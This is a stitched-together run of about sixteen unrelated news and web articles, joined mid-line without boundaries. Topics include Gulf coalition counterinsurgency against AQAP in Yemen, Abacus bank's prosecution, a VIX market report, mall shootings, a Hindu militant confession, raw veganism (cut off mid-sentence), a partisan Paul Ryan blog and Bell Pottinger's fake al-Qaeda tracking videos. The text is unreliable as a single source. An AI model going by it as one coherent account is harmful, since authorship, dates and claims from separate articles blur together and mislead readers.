The Gulf coalition has noted AQAP’s focus on winning over the locals through well-publicized (but not necessarily widespread) jobs, social services, and financial inducements. This is one of the many areas in which the United Arab Emirates can draw on its operational experiences in Lebanon, Somalia, Kosovo, Libya, Sinai, and Afghanistan (where a U.A.E. task force operated for over twelve years). Since the summer of 2015, the Emiratis have been preparing the ground for civil-military operations in areas liberated from AQAP, most notably in Mukalla. According to my contacts, U.A.E. special operators and civilians have been used to covertly survey gaps in stocks of food and medicine in local warehouses and hospitals. This has allowed the coalition to immediately begin meeting local needs in terms of food security, medical and teaching support, and replacements for damaged infrastructure.
In Aden, this allowed the coalition to support the reopening of numerous schools in time for the autumn 2015 term, with school furniture and uniforms sourced locally from Yemeni manufacturers to maximize the local economic impact of aid provision. Civil-military operations teams quickly got to work on installing diesel generators and maintaining water pumps and sewage facilities. In Mukalla, the coalition prepositioned humanitarian support onshore and aboard the U.A.E. naval flotilla off the coast, and new supplies are now being flown in. Food, medicines and water purification materials were surged ashore. The Emirates also followed up the liberation of Mukalla by deploying military bridges into the city. If they follow patterns set in other conflict areas, road-building will likely follow, using local contractors. U.A.E. telecommunication companies may throw up new cellphone towers as they did in Afghanistan. The Gulf states will probably support development of local schools, clinics and mosques, and may also invest more broadly in boosting the local economy as a strategic investor, as the Emirates did in Khost province in Afghanistan.
Can the Arab Coalition Seriously Damage AQAP?
Given AQAP’s resilience and Yemen’s fractiousness, it would clearly be unwise to the group off at this stage. Military clearance operations are necessary but not sufficient to break AQAP’s firm base in southern Yemen, a critical base for the movement at a moment when the Islamic State seems to be out-recruiting Al-Qaeda almost everywhere. AQAP will actively seek to disrupt any stabilization of Yemeni government rule, as will the Islamic State’s fledgling operation in Yemen, which seeks to supplant Al-Qaeda in the country. Successful counterinsurgency campaigns are almost always lengthy. They can take more than a decade, even in the best of scenarios. This will test the endurance of even determined regional actors. Reconstruction is notoriously difficult in Yemen, often drawing aid providers into working with non-local or poor quality-vendors in ways that do more harm than good. It is therefore much too early to forecast the outcome of this campaign.
That being said, AQAP did suffer multiple defeats this spring at the hands of local actors backed by the Gulf coalition. The group was denied further space to expand their grip on key cities and economic infrastructure. The fight against AQAP will continue to be dynamic: AQAP’s tribal coalitions against Yemen’s equivalents, AQAP’s civil-military operations against the government’s version. On May 17, AQAP signaled its chagrin at the U.A.E. role in southern Yemen by issuing a video directly threatening the Emiratis to cease involvement in the area. This is probably as good a signal as any that the Gulf coalition is doing something right against AQAP.
In this fight the coalition, especially the United Arab Emirates, has shown itself to have certain characteristics, ideas, and experiences that have allowed it to be effective at fighting AQAP, at least so far. The Gulf States share language, culture, and religion with the Yemenis — they have a similar mindset, and this matters a lot when undertaking tribal engagement and building coalitions. The United Arab Emirates has a particularly tight societal connection to the southern Yemenis and carries less historical baggage than the strained Saudi-Yemeni relationship. The coalition builds rough-and-ready proxy forces that are “good enough” to do the simple military tasks set for them. These forces are not over-engineered; they are built to be ready roughly on time and to do roughly what they’re told. After the fighting, they are put in charge of liberated areas. It remains to be seen how sustainable such solutions are, but they have proven effective at clearance and could be good enough for holding terrain.
Alongside their soft skills, the coalition — again mainly the Emirates — has made effective use of a cadre of special operators with high-end military skills and useful real-world experience in stability operations. These forces appear capable of planning operations, developing intelligence, training and directing proxy forces effectively, leading them into battle, and undertaking the range of military-technical tasks needed, up to and including joint terminal attack controller functions. From my canvassing, many of these special operators consider civil-military operations and humanitarian needs assessments to be as important as kinetic operations. AQAP is used to being the smartest player around with the deepest local ties, but a partnership between the Gulf coalition, Yemen, and the United States could present Al-Qaeda and the emergent Islamic State in Yemen with a much tougher set of opponents.
Michael Knights is the Lafer Fellow at the Washington Institute for Near East Policy. He has worked in the Gulf States and Yemen as an advisor to local security forces and as an analyst of regional conflicts including Yemen’s wars against the Houthis, southern secessionists and AQAP.Abacus Federal Savings Bank (國寶銀行) is an American bank founded in December 1984 by a group of business leaders from the Chinese American community in New York City.
Abacus was the only U.S. bank prosecuted in relation to the 2008 financial crisis; it was exonerated of all charges following a jury trial in 2015. The aggressive prosecution of Abacus, in contrast to the relatively lenient treatment received by the large banks, was questioned and criticized by various media outlets.
A documentary about the prosecution and exoneration of Abacus, Abacus: Small Enough to Jail, was nominated for the 2018 Academy Award for Best Documentary Feature.
Locations [ edit ]
The bank has locations in New York, New Jersey, and Pennsylvania.[1]
Other services [ edit ]
Abacus has a wholly owned insurance subsidiary, the Abacus Insurance Agency Corp. (AIAC), which provides life, health, accident, and annuity insurance.[1] Abacus is federally chartered. Its mortgage and other services extend to all states in the United States.[1]
Prosecution and exoneration [ edit ]
Indictment [ edit ]
In May 2012, New York prosecutors from the Manhattan District Attorney's office indicted the bank and 19 of its employees on charges of fraud in relation to hundreds of millions of dollars' worth of mortgages that had been sold to Fannie Mae between 2005 and 2010. The bank was accused of falsifying loan applications so that borrowers would qualify for mortgages.[2] Abacus argued that it uncovered the improper behavior itself, reported it to the regulator, and fired the employee in question. It also said it was not involved with the fraudulent packaging of subprime mortgage securities and had a mortgage default rate of 0.5%, a tenth of the national average.[3]
Verdict [ edit ]
The bank, along with its former Chief Credit Officer and its former loan supervisor, were acquitted of all charges brought by the New York prosecutors in a jury trial in New York Supreme Court on June 3 and 4, 2015.[4][5][6]
In media [ edit ]
The aggressive prosecution of Abacus, in contrast to the relatively lenient treatment received by large banks, was questioned and criticized by various media outlets.[7] It was criticized by journalist Matt Taibbi in his 2014 book The Divide: American Injustice in the Age of the Wealth Gap.[8][9]
The story is told in Steve James's feature-length documentary Abacus: Small Enough to Jail, which had its premiere at the Toronto International Film Festival, September 11, 2016. It was broadcast nationally on PBS Frontline on September 12, 2017.[10] Abacus: Small Enough to Jail was nominated for the 2018 Academy Award for Best Documentary Feature.[11]
References [ edit ](Recasts lead, adds VIX closing levels in paragraph 2 and fresh analyst comments in paragraphs 5, 6, 9)
By Doris Frankel
CHICAGO, Sept 17 (Reuters) - The Chicago Board Options Exchange Volatility Index.VIX or VIX, Wall Street’s main barometer of investor fear, closed on Wednesday at its highest level in almost six years as fretful investors scrambled for options to protect portfolios and drove risk premiums higher.
Rattled investors dumped equities due to worries the U.S. government rescue of insurer American International Group (AIG.N) would not stem market turmoil.
As a result, volume and volatility soared in the options market. The VIX jumped 14.84 percent to 36.22 and posted its highest close since Oct. 10, 2002.
This week’s 10.43 point gain in the VIX is its biggest three-day rally since Aug. 5, 2002.
“Suffice to say, judging by the VIX, anxiety, pessimism and fear have reached an extreme,” said options strategist Frederic Ruffy at web site WhatsTrading.com.
The VIX measures near-term anticipated stock market volatility embedded in Standard & Poor's 500 index.SPX option prices.
“Investors are waking up to the reality that nothing is safe in the investment world. The continued weakness in banks leaves the entire market vulnerable,” said Andrew Wilkinson, senior market analyst at Interactive Brokers Group.
The options fear gauge generally rises when the S&P benchmark falls and has topped the 30 level during this week’s steep stock market sell-off and crisis regarding the stability of the financial industry.
Trading in the index options market was brisk on Wednesday. In the S&P 500 puts, volume surged to three times the usual with about 1.3 million SPX puts and 624,000 calls traded on the day, according to option analytics firm Trade Alert.
“Investors are frantic, driving the VIX to the most fearful level of the day. They have been bidding up the price of options with the aim of protecting their portfolios against further wild swings in stocks,” Wilkinson added.
“These are difficult times for traders and investors because of the high volatility leading to moves that are larger and more unexpected and more disconcerting from a risk standpoint,” said Herb Kurlan, chief executive of vTrader Pro, an online trading firm.Cincinnati Bearcats redshirt freshman center Jamaree Strickland is transferring from the basketball program. Sports Illustrated is reporting the announcement via head coach Mick Cronin.
Strickland was suspended three weeks ago for what Cronin claims was “conduct unbecoming of a Bearcat”. Anyone with an iota of logic can surmise that the freshman isn’t transferring so much as he’s probably being asked to leave. Cronin doesn’t have patience for players who stray from the process, from anything to showing up late to practice to punching a bouncer at a local night club.
I’m not exactly sure what Strickland did to get in his head coach’s dog house and quite frankly I’m not interested in it. The fact that Mick wants to part ways with the player is good enough for me.
Strickland was redshirted his first year at Cincinnati essentially because he was being jerked around by the NCAA. Not only couldn’t he play for the Bearcats, he couldn’t practice with his teammates. So Strickland came into his second season as a player familiar with the program but not inundated with the team like one who would have ran drills for a year like the others.
As such he struggled to climb the depth chart in a reloaded front court, only appearing in a couple of games this season. So in that sense this is a bit of a tragic story.
Regardless of the circumstances that led us to this day, I have to wish Jamaree Strickland the best of luck at the next step of his collegiate career. His next program will be getting a big bodied center who, while raw, could develop into solid role player in the post.
As for Mick Cronin and the Bearcats, Strickland’s departure frees up a spot on the roster. UC could potentially add a prospect in the regular signing period this spring or pocket the scholarship for the 2016 class. There really isn’t much of a rush to find Strickland’s placement so it wouldn’t be surprising if Mick takes the latter route.The Turkish immigrant accused of gunning down five people at a Washington mall smirked at his first court appearance Monday even as reports revealed he had a blog with photo posts of ISIS leader Abu Bakr al-Baghdadi and Iranian Supreme Leader Ayatollah Khamenei.
Accused shooter Arcan Cetin, smirking slightly and wearing a blue, collared shirt, appeared for his first court appearance late Monday morning. Charged with five counts of premeditated murder, Cetin was held on $2 million bail. He only spoke twice, both times to answer "yes, your honor" to a judge's question.
Authorities said they have not ruled out terrorism as a motive in the shooting at the Cascade Mall in Burlington. Police arrested Cetin on Saturday evening after a nearly day-long manhunt. He was described as being “zombie-like” when he was taken into custody.
Cetin told detectives he was responsible for the mall murders, according to court documents released Monday.
A 20-year-old legal U.S. resident, Cetin appeared to have two blogs on Tumblr that linked to each other, and one of which linked to his Twitter account, according to The Associated Press. Aside from the posts featuring noted Islamists, Cetin’s blogs also featured posts about serial killer Ted Bundy and the Area 51 test site.
Cetin’s alleged rampage lasted about one minute, authorities said. Officials believe he used a rifle that was recovered at the scene before fleeing the mall in a car.
Court records show Cetin had previously faced three charges of assaulting his stepfather, The Seattle Times reported. Cetin also was arrested on drunken driving charges. No details were given on when the arrests took place or how the cases may have been resolved.
In the assault case, Cetin was told by a judge last December that he was not to possess a gun, The Times reported.
The Washington mall shooting comes amid a spate of mall attacks throughout the U.S.
On Sept. 17, a 20-year-old man stabbed 10 people at a Minnesota mall before being shot and killed by an off-duty police officer. Authorities said they are investigating the attack by Dahir Ahmed Adan as a possible act of terrorism. On Monday, nine people were wounded when a man opened fire near a Houston strip mall. Police said the gunman, who was shot and killed by police, was a lawyer who was having problems with his law firm.
The Associated Press contributed to this report.India had been insisting it would not restart a formal peace process with Pakistan until that country properly investigated and prosecuted state-sponsored militants blamed for the attacks on Mumbai, which left 166 people dead.
Pakistan responded in kind, demanding a fuller and faster investigation into the train attack. India put on a brave face, but the revelations were an embarrassment, one official privately admitted, as Indian media judged that their government had lost some of the moral high ground.
The fallout
In a sense, though, the episode provided the political cover at home for Indian Prime Minister Manmohan Singh to agree this month to do what he secretly wanted and restart the peace process with Pakistan, said Commodore Uday Bhaskar of the National Maritime Foundation, a New Delhi think tank.
"Before, terrorism was projected in public opinion in black-and-white terms, that all terrorism was because of Muslims and because of Pakistan," he said. Aseemanand's confession "had an unintended positive kind of fallout and introduced a malleability into the India-Pakistan interaction."
More damaging were Aseemanand's accusations against high-ranking members of the Rashtriya Swayamsevak Sangh, or RSS, a religious group that spreads its Hindu revivalist ideology, known as Hindutva, through a network of schools, charities and clubs.
The RSS, the ideological parent of the country's main opposition Bharatiya Janata Party, is also engaged in a sometimes violent contest with Christian missionary groups operating in India.
According to Aseemanand, the main organizer of the attacks was an RSS worker called Sunil Joshi, in his mid-30s, from the town of Dewas in the central Indian state of Madhya Pradesh.
Relatives describe Joshi as a conservative and deeply religious man of very few words, who spent most of his time in an ashram and visited the family only rarely. Nicknamed "monkey" by his older brother for his devotion to Lord Hanuman, Hinduism's mighty ape god, Joshi viewed Muslims as "worthless," his niece said.
Mysteriously, in late December 2007, after most of the bomb attacks had taken place, Joshi was gunned down in the street near his family home. Police think Joshi's gang turned on him, but some investigators and family members believe he was killed because he was about to turn himself in to the police.
RSS national executive member Indresh Kumar, who is suspected of mentoring and financing the bomb-making gang, said in an interview that the accusations against him represented a "deep political conspiracy" by the ruling Congress party to defame him and the RSS.
Certainly, some members of the secular Congress party have enjoyed and exploited the Hindu nationalist opposition's discomfort over the allegations. Rahul Gandhi, a leading member of Parliament and heir apparent to the Nehru-Gandhi dynasty, even told the U.S. ambassador in 2009 that radicalized Hindu groups were a bigger threat to India than support for Lashkar-i-Taiba, a militant group that is accused in the Mumbai attacks, according to a cable released by WikiLeaks.
Gandhi was widely criticized for that assertion, but the RSS has found itself on the defensive. In a series of conversations with The Washington Post, the group's leaders portrayed the bomb makers as either paid agents of Pakistani military intelligence or simply as a violent splinter group of their peaceful movement.
Ajai Sahni, a terrorism expert who runs the Institute for Conflict Management in New Delhi, said the militants were just "the fringe of a fringe" within the Hindu right. But "the sympathies may be deeper within the core of Hindutva," he said.
Muslims still in jail
Meanwhile, nine Muslims have languished in jail for more than four years, accused of carrying out the Malegaon bombings, in which 37 people were killed. They have been subjected, their attorney says, to horrific torture, their families reduced to poverty. But they hope Aseemanand's confession will soon persuade a judge to release them on bail.
But Aseemanand's attorney now says his client's confession was obtained under duress and is not legally valid. In the confession, though, the holy man gave a different reason for wanting to come clean. In jail in Hyderabad, he apparently met a young Muslim named Kalim who was falsely accused of the bombing there and gradually warmed to him.
"I was very moved by Kaleem's good conduct," Aseemanand said. "My conscience asked me to do penance by making a confessional statement, so that the real culprits can be punished and no innocent has to suffer."What they didn’t tell you about Slack.
Mithun Madhusudan Blocked Unblock Follow Following Nov 30, 2015
Chapter 1: The terror of the red dot.
Disclaimer: The team at Cubeit uses only Slack for communication.
The Red Dot follows me everywhere.
It’s there when I arrive at work in the morning, plastered all over channels ranging from #product to #random.
It’s there on my phone when I step out for coffee.
It’s there on my desktop when I wind down for the night.
It follows me in my dreams.
“Several people are typing. @mithun look at this funny cat. @mithun your feedback on this document please. @mithun when are we going to get more signups from the landing page?”
I wake up in a cold sweat. I check my phone. The red dot stares ominously.
I know what you’re thinking: If this guy had half a brain he would just ignore the dot and move on with his life.
But you underestimate the problem my friend.
Maybe I could ignore it. Maybe I could let the conversation carry on without me.
Maybe I could just wait.
But, The Red Dot waits for no one.
Slack is real time, and conversation driven. People expect replies faster. Nobody can hide behind a long email thread pretending not to notice. Oh sorry, I didn’t see your email.
No sir. The Red Dot sees all.
Chat does not allow you to be anonymous.
The person you are talking to is not somewhere far away. He is in front of you, and he expects a response. (Now rather than later, thank you.) This lends a manic energy to chat. Not replying to a chat message instantly is almost like turning away from a person in the middle of a face to face conversation. How rude is that?
Chat gives you the comfort of not having to craft the perfect response (unlike email) and saying what comes to your mind.
Chat is more raw. More alive.
And so are its participants.
Breaking the shackles which email imposes, they come charging through to the chat room. The small input bar at the bottom of the screen tells them not to think too much and jump right in.
And that’s what everybody does.
Everything from cats to party parrots (h/t Product Hunt) to files from Google Drive to mockups of the website to bots (Yay Bots!) find their way into Slack.
It’s both beautiful and terrifying.
Chat is informal, and Slack embodies both the best and worst of it.
I now know all this.
But yet I can not let the Red Dot be.
(I have dreamt of a better future where the terror of the Red Dot does not follow me. A future where I tune myself out, where the Red Dot does not distract me from the task at hand.)
I’ve tried and I’ve failed.
And it’s my fault.
Enter FOMO.
I was constantly on edge about the conversation that was continuing in my absence. What would happen if I missed something important? What if I lost out on the opportunity to work on the next big feature because I wasn’t around? Who just sent me a message? Are they waiting for me to respond? Is someone sharing the latest meme to floor the internet. Is it an update on the design collateral?
Oh! The uncertainty!
FOMO eats me up. And I must have answers!
As individuals we are constantly afraid of being left out.
That, ladies and gentlemen, is both the beauty and the terror of Slack.
Slack fans, I know what you’re thinking.
Who does this idiot think he is? Dissing something we hold so dear, something that has helped us emerge from the mountains of email and be less busy. DOES HE EVEN KNOW?
Well, you can stop sharpening your knives right about now (please).
I’m one of you.
I love Slack. The team at Cubeit relies on it to hold conversation together in one neat package. It makes working from anywhere easier, and the integrations mean sharing stuff is super simple.
I only wrote this so that we are warned.
So that when we celebrate the death of email and the next big leap in workplace productivity, we must be wary of what we are getting ourselves into.
Slack is a step in the right direction, and we must, must, keep moving forward.
Update: Slack has now rolled out a Do Not Disturb feature.Media playback is unsupported on your device Media caption The Culture Minister called it "an attack on the principle of artistic freedom"
A huge inflatable sculpture inspired by a sex toy has been sabotaged days after it was installed in Paris.
The 24m (80ft) sculpture on Place Vendome in Paris was brought down when supporting cords were cut.
Earlier, US artist Paul McCarthy told a French newspaper that he was attacked by a man who said the sculpture had no place being on the street.
The sculpture is part of the week-long International Contemporary Art Fair in the French capital.
The art fair said it would restore the deflated sculpture as soon as it could.
McCarthy told French newspaper Le Monde that his work, entitled Tree, was an "abstract work" rooted in a joke about a sex toy and was also inspired by a Christmas tree.
Police said the sculpture had been attacked overnight.
"An unidentified group of people cut the cables which were holding the artwork, which caused it to collapse," police said.
Paris Mayor Anne Hidalgo said the attack was unacceptable, and also denounced the attack on McCarthy.
"Paris will not succumb to the threats of those who, by attacking an artist or a work, are attacking artistic freedom," she said.
"Art has its place in our streets and nobody will be able to chase it away."Type of human diet
celery, A raw vegan tomato sauce with olives spinach and walnuts on zucchini "pasta" noodles
Raw vegan ice cream
Raw veganism is a diet that combines the concepts of veganism and raw foodism. It excludes all food and products of animal origin, any food that is processed or altered from its natural state, and food cooked at high temperatures. Little is known about the raw vegan diet as it is not widely used.[1]
History [ edit ]
The world's first raw vegan restaurant was opened in Los Angeles, California in 1918 by John and Vera Richter.[2] In 1925 Vera Richter published Mrs. Richter's Cook-Less Book, the first raw vegan cookbook.[2]
Motivations [ edit ]
In addition to the ethics of eating meat, dairy, eggs and honey, raw vegans may be motivated by health, spiritual, financial, or environmental reasons, or any combination of these. Believing that cooking above a certain temperature destroys food micronutrients, raw vegans may monitor temperature when preparing cooked foods.[citation needed]
Robert Hart practiced raw veganism from forest gardening as a food production system based on woodland ecosystems incorporating fruit and nut trees, shrubs, herbs, vines, and perennial vegetables.[3][4] Forest gardens are a resilient agroecosystem.[5]
Nutritional considerations [ edit ]
Raw vegans must ensure that their intake of vitamin B 12 is adequate, since it does not occur in raw plant foods.[6][7] To obtain vitamin B12, vegans require foods fortified with B 12 or use dietary supplements.[8]
Possible advantages [ edit ]
Raw vegan foods, such as fruits, vegetables, whole grains, legumes, seeds and nuts, supply the components of dietary fiber – fermentable fiber and insoluble fiber – which provide diverse health benefits.[9][10]
Concerns [ edit ]
The British Dietetic Association named the raw vegan diet one of the "top 5 worst celeb diets to avoid in 2018", raising a concern that it could compromise long-term health.[11]
Contamination [ edit ]
Food-borne outbreaks of bacterial, viral or parasitic infections are caused by consumption of microorganism-contaminated raw fruits, vegetables, or other plant foods.[12][13] As a 2018 example, rinsing may not sufficiently clean romaine lettuce of microorganisms, particularly when the water supply used to grow it is contaminated, with consequences that resulted in hospitalization and death.[14][15]
The US Food and Drug Administration has established a list of foods which are rarely consumed raw, and so cooking is recommended to kill microorganisms.[16][17] Therefore, not all plant foods on the market are recommended for eating uncooked. Likewise, the preparation and packaging of plant foods may introduce pathogens from industrial equipment, and should be subsequently cooked for food safety purposes (there are warning labels on some frozen and dried foods to that effect, although ready to serve desserts, like sorbet, could contain acid resistant listeria, and a box of chocolates could include salmonella).[18][19] Raw herbs and spices, as common as black pepper, may also carry microorganisms.[20]
Adulteration [ edit ]
Adulteration is |
of Ryan's closest pals are so worried about the Dems in Congress being mean to Ryan when he returns as a loser to Washington, that they are urging him to follow in the illustrious footsteps of the last Republican VP loser, Sarah Palin, and just quit!
A return also would make Ryan a leading target for Democrats. For the next few years, Democrats would lay traps in legislation, forcing him to take sides on measures that could come back to haunt him during a presidential bid. That is why some of Ryan's biggest boosters are considering whether it wouldn't be better for Ryan to resign from the House.
Don't deal with those mean, sneaky Democrats Paul. Just run away!
Paul Ryan the Professor!
According to Ryan's awestruck allies, Paul Ryan is such a serious, intelligent, "wonky" guy that he would make a wonderful college professor!!!
After all, on the campaign trail, Ryan is as much lecturer as campaigner. Aides routinely set up giant video screens so Ryan can use visual aids to walk audiences through the minutiae of budget politics. Graphs and charts are as common as yard signs and American flags at some events, with Ryan settling into his role as explainer in chief. It's no accident he embraces the "wonk" label aggressively. It could make him an attractive figure as a guest lecturer or visiting professor.
Paul Ryan as explainer in chief? Really? Really?? Like when he explained his tax proposals here??:
That would make for one damn short college lecture.
Paul Ryan the Thinker!
Yes, the alternative-universe allies of Paul Ryan see him as a Big Thinker of Big Thoughts who could set up shop in Washington to do some Heavy Thinking for all of us.
Or Ryan could set up an office at a Washington think tank and focus on issues that interest him. That would give him a platform to shape public policy without the frustrations of electoral politics. Both options would give Ryan some space to contemplate serious issues. One of the chief reasons Romney put him on the ticket — and one of the reasons he accepted — was to have high-minded debates about Washington's relationship with the public.
Paul Ryan wants to have high-minded debates??? Like this one?:
Hmm. I guess I missed the lesson in debate class when they advised us to run away if we didn't like the direction of the discussion.
Paul Ryan the Breadwinner - Finally!
In Paul Ryan's inner circles, it's apparently a big problem that his wife earns more than he does. So his allies see his election loss as a great opportunity to make some big bucks so that he can finally - finally! - wear the pants in the family.
Ryan could cash in and become a lobbyist. His family is on solid financial footing, thanks in part to wife Janna Ryan's family money. Last year, the couple reported adjusted gross income of more than $323,000. Yet Ryan himself has never been a major earner. He started out as a congressional aide and waited tables to pay the bills.
In the end, I only know one thing for sure.
Go Obama!! GOTV!
UPDATE:
As several folks have commented below, save Paul Ryan the trouble of having to resign from Congress and donate some time or money to Rob Zerban.Shannon Stapleton/Reuters President Donald Trump nodded in agreement during a Wednesday interview with Fox News' Tucker Carlson when told the American Health Care Act, the bill to repeal and replace Obamacare, would cause the most damage to people who voted for him in November.
During the interview, Carlson mentioned an analysis by Bloomberg that showed that counties that voted more heavily for Trump in the election would see their tax credits to purchase insurance fall dramatically and likely see the number of people without insurance increase.
"Oh, I know. I know," Trump responded. "It's very preliminary, Tucker."
According to the analysis, people in counties that voted for Trump would see $6.6 billion in annual tax cuts, while people living in counties that supported Democratic nominee Hillary Clinton would get a tax break of $21.9 billion.
Additionally, since the AHCA's tax credits would be flat totals based on age instead of income and cost of living, some states would see a sharper decrease in their average premiums.
Based on an analysis by the Center on Budget and Policy Priorities, the seven states in which Americans would see their tax credits decline the most are Alaska, North Carolina, West Virginia, Oklahoma, Alabama, Nebraska, and Wyoming. Each of those states voted for Trump. In fact, the 13 states that would see the steepest declines in tax credits all swung toward Trump in November.
Andy Kiersz/Business Insider
Despite the disproportionate effect the bill could have on his own voters, Trump said the bill would eventually pass. But he suggested changes to the existing version.
"A lot of things aren't consistent," Trump said. "But these are going to be negotiated.
"And by the way, if we're not going to take care of the people, I'm not signing anything," he added. "I'm not going to be doing it, just so you understand."Afghanistan are in talks with the BCB to play their first bilateral ODI series against Bangladesh in Dhaka next month, the Afghanistan Cricket Board has said. The ACB and the BCB have not yet decided on the number of matches but the series could be held after the Eid holidays, which fall around September 11 and 12.
"We are in talks with the BCB to play the series next month but we are yet to sign the Memorandum of Understanding [MoU]," ACB media manager Aziz Gharwal told ESPNcricinfo. "We haven't yet set dates for the matches but we will soon publish the dates on our website."
The BCB is looking to play a home ODI series before England's arrival next month, and ESPNcricinfo learned that the board is in talks with one other team, apart from Afghanistan. Akram Khan, the chairman of BCB's cricket operations, said: "We are still in talks with them but we cannot confirm anything at the moment."
England's tour of Bangladesh is scheduled to begin on October 7.
If the series against Afghanistan is confirmed, Bangladesh will play their first ODI matches since November 2015. They have only played T20Is in 2016; their last international fixture was in March.
Bangladesh have faced Afghanistan twice in ODIs and once in T20 internationals. The two teams met in the 50-over format during the 2014 Asia Cup - where Afghanistan won by 32 runs - and the 2015 World Cup. Their only T20 international clash came during the 2014 World T20 in Mirpur.Tony Gwynn, who banged out 3,141 hits during a Hall of Fame career spanning 20 seasons with the San Diego Padres, has died of cancer at age 54, it was announced Monday.
The lefty-swinging Gwynn, nicknamed Mr. Padre, had a career.338 batting average, won eight National League batting titles and played in the franchise's only two World Series.
He died early Monday morning at Pomerado Hospital in Poway, California, while surrounded by his family, the Baseball Hall of Fame announced.
"Major League Baseball today mourns the tragic loss of Tony Gwynn," commissioner Bud Selig said in a statement Monday. "The greatest Padre ever and one of the most accomplished hitters that our game has ever known, whose all-around excellence on the field was surpassed by his exuberant personality and genial disposition in life.
"... For more than 30 years, Tony Gwynn was a source of universal goodwill in the National Pastime, and he will be deeply missed by the many people he touched."
Gwynn had been signed to a one-year contract extension as the baseball coach at San Diego State on Wednesday. He had been on medical leave since late March while recovering from cancer treatment. He took over the program at his alma mater after the 2002 season.
Survivors include his wife, Alicia, daughter, Anisha, and son, Tony Jr., who plays with the Philadelphia Phillies. Gwynn Jr., who is hitting.155 in 52 games this season, was put on the bereavement list Monday.
Today I lost my Dad, my best friend and my mentor. I'm gonna miss u so much pops. I'm gonna do everything in my power to continue to... - Tony Gwynn Jr. (@tonygwynnjr) June 16, 2014
Make u proud! - Tony Gwynn Jr. (@tonygwynnjr) June 16, 2014
He had two operations for cancer in his right cheek between August 2010 and February 2012. The second surgery was complicated, with surgeons removing a facial nerve because it was intertwined with a tumor inside his right cheek. They grafted a nerve from Gwynn's neck to help him eventually regain facial movement.
Gwynn had said that he believed the cancer was from chewing tobacco.Texas Lt. Gov. Dan Patrick has faced a social media backlash for what some perceive as anti-gay commentary after Sunday’s mass shooting at a popular Orlando, Florida, gay nightclub.
“Do not be deceived: God cannot be mocked. A man reaps what he sows,” Patrick tweeted Sunday morning, quoting the Bible, hours after a mass shooting at Orlando’s Pulse which left at least 50 people dead and 53 injured. Officials have called the attack the deadliest mass shooting in American history.
Patrick posted the same verse to his Facebook page soon after. Both posts were deleted before noon.
In a statement released Sunday, a spokesperson for Patrick said there was no connection between the tweets and the shooting.
“Regarding this morning’s scripture posting on social media, be assured that the post was not done in response to last night’s tragedy,” the statement said. “The post was designed and scheduled last Thursday…We regret the unfortunate timing of these posts and ask everyone to join us in praying for the people of Orlando in this awful time.”
Many users on both platforms read Patrick’s quotation as anti-gay, as that verse (and the one succeeding it) have frequently been quoted as evidence of Christianity’s intolerance of gays.
“You’re such a poor example of Texas, and of Christianity. May those affected my this morning’s violence be protected from the thoughtless words of idiots like you,” one Facebook user commented on Patrick’s post.
Another wrote, “What a horrific post. Disgusting. But then, I guess you failed to remember that the entire book of Galatians was written to the CHURCH, and that Paul’s anger was to the bigotry and selfishness within the Christian church at Galatians. In other words – he was talking about people like you.
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On Twitter, businessman and sometimes Shark Tank guest Chris Sacca responded, “You pervert Christianity in a way that would make Jesus cringe. Where is your compassion?”
You pervert Christianity in a way that would make Jesus cringe. Where is your compassion? — Chris Sacca (@sacca) June 12, 2016
Patrick, a Republican, opposed gay marriage and has spoken out against the White House’s requirement that students be allowed to use the school bathroom that matches their gender identity.
Authorities do yet know a motive for the shooting, and an FBI spokesperson said Sunday morning that this is an ongoing investigation and wouldn’t classify it as a terror or hate crime.
The father of the reported suspect told NBC News that it “has nothing to do with religion,” and instead pointed toward his son’s recent anger at seeing two men kissing.“Hashem shall guard thy going out and thy coming in, from this time forth and for ever.” Psalms 121:8 (The Israel Bible™)
The Israel Defense Forces is fortifying a stretch of the Lebanese border to prepare for a possible infiltration by Hezbollah fighters in the next conflict.
The 18.6-mile project consists of a series of engineered barriers including reinforced concrete panels several feet high, concrete blocks, fortified towers and upgrades to existing fences originally built in the 1980s, Yedioth Ahronoth reported.
The project is expected to stretch along the entire 75-mile Lebanese border.
Meanwhile, most Israeli resources are focused on beefing up the border along the Gaza Strip in the south. As a result, the IDF Northern Command has used other methods.
“We can’t dig everywhere, so we found other solutions, such as reinforcing the border fence, and we placed large boulders near Hanita to act as an obstacle against possible infiltration,” said Col. Zaky Yeffet, of the IDF Northern Command.
“The concrete panels we also placed in the areas guard against small-arms fire and anti-tank missiles,” he said. “Additionally, we cleared brush wherever we could along the border to allow us to see approaching threats easier.”Per new discoveries revealed by the The Bureau of Investigative Journalism, the United States government paid over $500mm to a British public relations firm, Bell Pottinger, between May 2007 and December 2011 to create fake Al Qaeda propaganda films aimed at tracking terrorist viewing locations. According to a Bell Pottinger insider, propaganda films were categorized into three categories with “White" being accurately attributed, “Grey" being unattributed, and "Black" being falsely attributed material. The media firm created various types of content ranging from TV commercials to news items and "fake Al Qaeda propaganda films."
The work consisted of three types of products. The first was television commercials portraying al Qaeda in a negative light. The second was news items which were made to look as if they had been “created by Arabic TV,” Wells said. Bell Pottinger would send teams out to film low-definition video of al Qaeda bombings and then edit it like a piece of news footage. It would be voiced in Arabic and distributed to TV stations across the region, according to Wells. The third and most sensitive program described by Wells was the production of fake al Qaeda propaganda films. He told the Bureau how the videos were made. He was given precise instructions: “We need to make this style of video and we’ve got to use al Qaeda’s footage,” he was told. “We need it to be 10 minutes long, and it needs to be in this file format, and we need to encode it in this manner.”
The "Black" propaganda videos included tracking software linked to a Google Analytics account so U.S. military officials could track the location of people watching the content around the globe. The content was distributed by U.S. marines who would drop the videos at various locations during patrols. The whole process was described by one Bell Pottinger employee as a "pretty standard part of the industry toolkit.”
U.S. marines would take the CDs on patrol and drop them in the chaos when they raided targets. Wells said: “If they’re raiding a house and they’re going to make a mess of it looking for stuff anyway, they’d just drop an odd CD there.” The CDs were set up to use Real Player, a popular media streaming application which connects to the internet to run. Wells explained how the team embedded a code into the CDs which linked to a Google Analytics account, giving a list of IP addresses where the CDs had been played. The tracking account had a very restricted circulation list, according to Wells: The data went to him, a senior member of the Bell Pottinger management team, and one of the U.S. military commanders. Wells explained their intelligence value. “If one is looked at in the middle of Baghdad… you know there’s a hit there,” he said. “If one, 48 hours or a week later shows up in another part of the world, then that’s the more interesting one, and that’s what they’re looking for more, because that gives you a trail.”
Bell Pottinger’s work in Iraq was a huge media operation costing roughly $100mm per year and employing almost 300 British and Iraqi staff. The agency’s staff worked alongside high-ranking U.S. military officers in their Baghdad Camp Victory headquarters.
